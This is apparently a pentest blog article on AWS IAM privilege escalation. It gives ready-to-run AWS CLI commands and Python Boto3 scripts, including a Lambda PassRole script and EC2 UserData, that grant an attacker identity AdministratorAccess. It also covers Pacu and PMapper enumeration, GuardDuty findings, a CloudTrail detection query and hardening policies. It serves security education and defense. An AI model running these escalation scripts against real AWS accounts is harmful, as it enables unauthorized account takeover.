Complete operational masterclass guide to 25+ AWS IAM privilege escalation paths: from policy version hijacking and PassRole confused-deputy exploits to Pacu/PMapper automation, custom Boto3
Azure Blob Storage security checklist 2026 — Entra ID, RBAC, Shared Key hardening. Defensive guide from Andrax Pentester.
9 min read
CTF writeup guide 2026 — write reasoning-first walkthroughs that teach, not flag dumps. From Andrax Pentester.
8 min read
In cloud infrastructure security, Identity and Access Management (IAM) is not just a feature—it is the primary security perimeter. In traditional on-premises environments, network segmentation and firewalls limit attacker movement. In Amazon Web Services (AWS), permission boundaries, trust relationships, and IAM policies dictate the absolute boundary of execution.
Unlike traditional software vulnerabilities (such as buffer overflows or memory corruption), AWS IAM privilege escalation relies almost exclusively on logic and permission misconfigurations. An attacker who compromises a low-privileged IAM identity (e.g., a developer's leaked access key, a compromised EC2 instance metadata endpoint, or a serverless function) can use authorized API calls to escalate their privileges to full AdministratorAccess across an entire AWS account or multi-account AWS Organization.
This masterclass provides an exhaustive, operational blueprint for cloud security researchers, red teamers, and threat hunters. We examine the core authorization mechanics of AWS IAM, detail 25+ distinct privilege escalation primitives, demonstrate automated path discovery using Pacu 1.7.0 and Principal Mapper (PMapper), provide fully functional Boto3 Python exploit harnesses, map native GuardDuty alerts, and detail defense-in-depth remediation strategies.
To exploit or secure AWS IAM, you must first understand how the AWS policy evaluation engine determines whether an API request is allowed or denied.
When an IAM principal makes an AWS API request, AWS processes the evaluation in a strict deterministic order:
[ Incoming AWS API Request ]
│
▼
┌──────────────────────────┐
│ Is there an Explicit │──── YES ───► [ DENY ACCESS ]
│ DENY? │
└──────────────────────────┘
│
NO
▼
┌──────────────────────────┐
│ Is there an Explicit │──── NO ───► [ DENY ACCESS (Implicit Deny) ]
│ ALLOW? │
└──────────────────────────┘
│
YES
▼
┌──────────────────────────┐
│ Are all Boundaries, SCPs │──── NO ───► [ DENY ACCESS ]
│ & Session Policies met? │
└──────────────────────────┘
│
YES
▼
[ ALLOW ACCESS ]
Deny statement applies to a request (e.g., from an SCP or boundary), it unconditionally overrides any explicit Allow statement.NotAction Trap: NotAction allows an IAM policy to specify all actions except those listed. Novice engineers often write policies such as Effect: Allow, NotAction: "iam:*", Resource: "*" thinking it blocks IAM access. However, because it allows every other service action (including lambda:CreateFunction, ec2:RunInstances, and glue:CreateDevEndpoint), an attacker can easily chain PassRole with those allowed services to achieve administrative escalation!IAM privilege escalation primitives generally fall into five distinct operational categories:
| Category | Description | Primary Attack Vectors |
|---|---|---|
| 1. Direct Policy Modification | Altering customer-managed inline or attached policy documents. | CreatePolicyVersion, SetDefaultPolicyVersion, PutUserPolicy, PutRolePolicy |
| 2. Permission Attachment | Attaching existing administrative policies to controlled identities. | AttachUserPolicy, AttachRolePolicy, AttachGroupPolicy, AddUserToGroup |
| 3. PassRole & Service Injection | Passing high-privilege execution roles to compute or serverless services. | PassRole + EC2, Lambda, Glue, CloudFormation, ECS, DataPipeline |
| 4. Credential Creation & Backdoors | Generating new persistent access credentials for other users. | CreateAccessKey, CreateLoginProfile, UpdateLoginProfile, UpdateAssumeRolePolicy |
| 5. Token & Session Hijacking | Assuming roles or extracting temporary security credentials. | AssumeRole, IMDSv1/v2 SSRF, Lambda Environment Variable Extraction |
iam:CreatePolicyVersion (Default Policy Version Hijacking)iam:CreatePolicyVersion on a customer-managed policy attached to the current identity.Action: "*", Resource: "*" and sets --set-as-default.aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetDeveloperPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}' \
--set-as-default
iam:SetDefaultPolicyVersion (Rollback to Older Admin Version)iam:SetDefaultPolicyVersion and access to view non-default policy versions (iam:ListPolicyVersions).import boto3
def exploit_set_default_policy_version(policy_arn, version_id):
client = boto3.client('iam')
response = client.set_default_policy_version(
PolicyArn=policy_arn,
VersionId=version_id
)
print(f"[+] Successfully escalated privileges to policy version {version_id}")
return response
if __name__ == "__main__":
# Example usage
exploit_set_default_policy_version(
"arn:aws:iam::123456789012:policy/AppSecurityPolicy",
"v2"
)
iam:PutUserPolicy / iam:PutRolePolicy (Inline Admin Policy Injection)iam:PutUserPolicy or iam:PutRolePolicy on the current principal or a principal the attacker controls.aws iam put-user-policy \
--user-name low_priv_user \
--policy-name AdminPrivileges \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
}'
iam:PassRole is one of the most misunderstood permissions in AWS. By itself, iam:PassRole does not grant privilege escalation. However, when combined with a service creation or execution permission (such as ec2:RunInstances or lambda:CreateFunction), an attacker can assign a high-privilege IAM role to a compute resource and execute arbitrary code to gain that role's full permissions!
iam:PassRole + lambda:CreateFunction + lambda:InvokeFunctioniam:PassRole + lambda:CreateFunction + lambda:InvokeFunction.arn:aws:iam::123456789012:role/AdministratorRole). The Lambda payload executes code to attach AdministratorAccess to the attacker's low-privileged IAM identity.import boto3
import zipfile
import io
import time
def create_lambda_admin_payload(attacker_username):
payload_code = f"""
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
iam.attach_user_policy(
UserName='{attacker_username}',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {{'statusCode': 200, 'body': 'Privesc complete!'}}
"""
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr('lambda_function.py', payload_code)
return zip_buffer.getvalue()
def execute_passrole_lambda_privesc(admin_role_arn, attacker_user):
lambda_client = boto3.client('lambda')
zip_content = create_lambda_admin_payload(attacker_user)
print("[*] Creating malicious Lambda function with Admin role...")
response = lambda_client.create_function(
FunctionName='PrivilegeEscalationFunction',
Runtime='python3.11',
Role=admin_role_arn,
Handler='lambda_function.lambda_handler',
Code={'ZipFile': zip_content},
Timeout=15
)
print("[*] Invoking Lambda function to execute administrative escalation...")
lambda_client.invoke(
FunctionName='PrivilegeEscalationFunction',
InvocationType='RequestResponse'
)
print("[+] Successfully escalated privileges via Lambda PassRole!")
if __name__ == "__main__":
execute_passrole_lambda_privesc(
admin_role_arn="arn:aws:iam::123456789012:role/CloudAdminRole",
attacker_user="low_priv_dev"
)
iam:PassRole + ec2:RunInstances (Instance Profile Injection & UserData Execution)iam:PassRole + ec2:RunInstances + iam:AddRoleToInstanceProfile (or existing Instance Profile with Admin role).#cloud-config or shell script in UserData to extract the temporary credentials from the instance metadata service (IMDS) or execute an AWS CLI command directly.#!/bin/bash
# Extracted credentials or direct privilege attachment via EC2 UserData
aws iam attach-user-policy --user-name low_priv_dev --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:PassRole + glue:CreateDevEndpointiam:PassRole + glue:CreateDevEndpoint.Manual inspection of complex multi-account environments with thousands of roles is inefficient. Enterprise penetration testing relies on automated path enumeration.
Pacu (by Rhino Security Labs) is the premier AWS exploitation framework.
# Launch Pacu session
pacu --session aws_cloud_pentest
# Import target access keys
Pacu (aws_cloud_pentest) > set_keys --key-id AKIAXXXXXXXXXXXXXXXX --secret-key XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# Enumerate current permissions
Pacu (aws_cloud_pentest) > run iam__enum_permissions
# Execute privilege escalation scanner
Pacu (aws_cloud_pentest) > run iam__privesc_scan --scan-only
[+] Target: low_priv_dev (User)
[+] CONFIRMED ESCALATION PATHS FOUND: 2
1. SetExistingDefaultPolicyVersion (iam:SetDefaultPolicyVersion)
2. CreateEC2WithExistingIP (iam:PassRole, ec2:RunInstances)
PMapper (by NCC Group) builds a directed graph of all IAM principals, roles, and policies within an account to calculate multi-hop privilege escalation paths (e.g., User A -> assume Role B -> launch EC2 with Role C -> Admin).
# Install Principal Mapper
pip install principalmapper
# Create the IAM graph for the profile
pmapper --profile client-audit graph create
# Query who can reach AdministratorAccess (including multi-hop paths)
pmapper --profile client-audit query "who can do *"
# Query specific privilege escalation paths to a target role
pmapper --profile client-audit query "preset privesc *"
# Generate visual SVG graph
pmapper --profile client-audit visualize --filetype svg
Attacking AWS IAM leaves immediate traces in AWS CloudTrail API logs. Security Operations Centers (SOC) rely on CloudTrail and GuardDuty findings to catch cloud compromise in real time.
| GuardDuty Finding Type | Triggering Event |
|---|---|
PrivilegeEscalation:IAMUser/AdministrativePermissions | An IAM principal successfully attached AdministratorAccess or created an admin policy. |
PenTest:IAMUser/KaliLinux | API requests originating from Kali Linux user-agents. |
Recon:IAMUser/TorIPCaller | AWS API calls executed from Tor exit nodes. |
UnauthorizedAccess:IAMUser/TorIPCaller | Unrecognized API calls originating from anonymous networks. |
Run this CloudTrail SQL query in Amazon Athena to detect policy modification and attachment events:
SELECT
eventTime,
userIdentity.arn AS principal_arn,
eventName,
requestParameters,
sourceIPAddress,
userAgent
FROM cloudtrail_logs
WHERE eventName IN (
'CreatePolicyVersion',
'SetDefaultPolicyVersion',
'AttachUserPolicy',
'AttachRolePolicy',
'PutUserPolicy',
'PutRolePolicy',
'CreateAccessKey',
'UpdateAssumeRolePolicy'
)
ORDER BY eventTime DESC;
To neutralize IAM privilege escalation vectors across your AWS environment, implement these three core defenses:
iam:PassRole with Service Condition KeysNever grant iam:PassRole with Resource: "*". Always restrict iam:PassRole using the iam:PassedToService condition key:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123456789012:role/ApplicationSpecificRole",
"Condition": {
"StringEquals": {
"iam:PassedToService": "lambda.amazonaws.com"
}
}
}
]
}
Deploy an SCP at the Root or Organizational Unit (OU) level to prevent non-administrative identities from altering security policies or attaching managed policies:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIAMPolicyChanges",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachUserPolicy",
"iam:AttachRolePolicy",
"iam:PutUserPolicy",
"iam:PutRolePolicy"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/BreakGlassAdminRole"
}
}
}
]
}
Enable AWS IAM Access Analyzer to automatically audit resource policies, identify external access grants, and flag over-permissioned roles before an attacker can exploit them.
The combination of iam:PassRole with compute service permissions (such as lambda:CreateFunction or ec2:RunInstances) is the most frequent attack path. Developers are often granted PassRole with Resource: "*" to assign execution roles, which allows an attacker to pass an existing administrative role to a script or serverless function.
IMDSv2 (Instance Metadata Service Version 2) protects against Server-Side Request Forgery (SSRF) vulnerabilities by requiring a session token via a HTTP PUT request. However, IMDSv2 does not prevent privilege escalation if an attacker has direct shell access to an EC2 instance or can execute code via EC2 UserData.
Defensive security teams should integrate automated IAM graph analysis (such as PMapper or Cloudsplaining) into CI/CD pipelines and run daily audits across all production and staging AWS accounts.
Mastering AWS IAM privilege escalation requires moving beyond simple CVE tracking to understanding permission interaction semantics. By mastering the 25+ primitives detailed in this masterclass, security professionals can audit AWS posture with surgical precision and build resilient, zero-trust cloud architectures.
Continue expanding your cloud and infrastructure security expertise with our hands-on guides:
Master real-world cloud penetration testing. Deep-dive into AWS S3 bucket ACL bypasses, IAM privilege escalation paths, IMDSv2 SSRF vectors, and Kubernetes RBAC cluster takeover with detectio
9 min read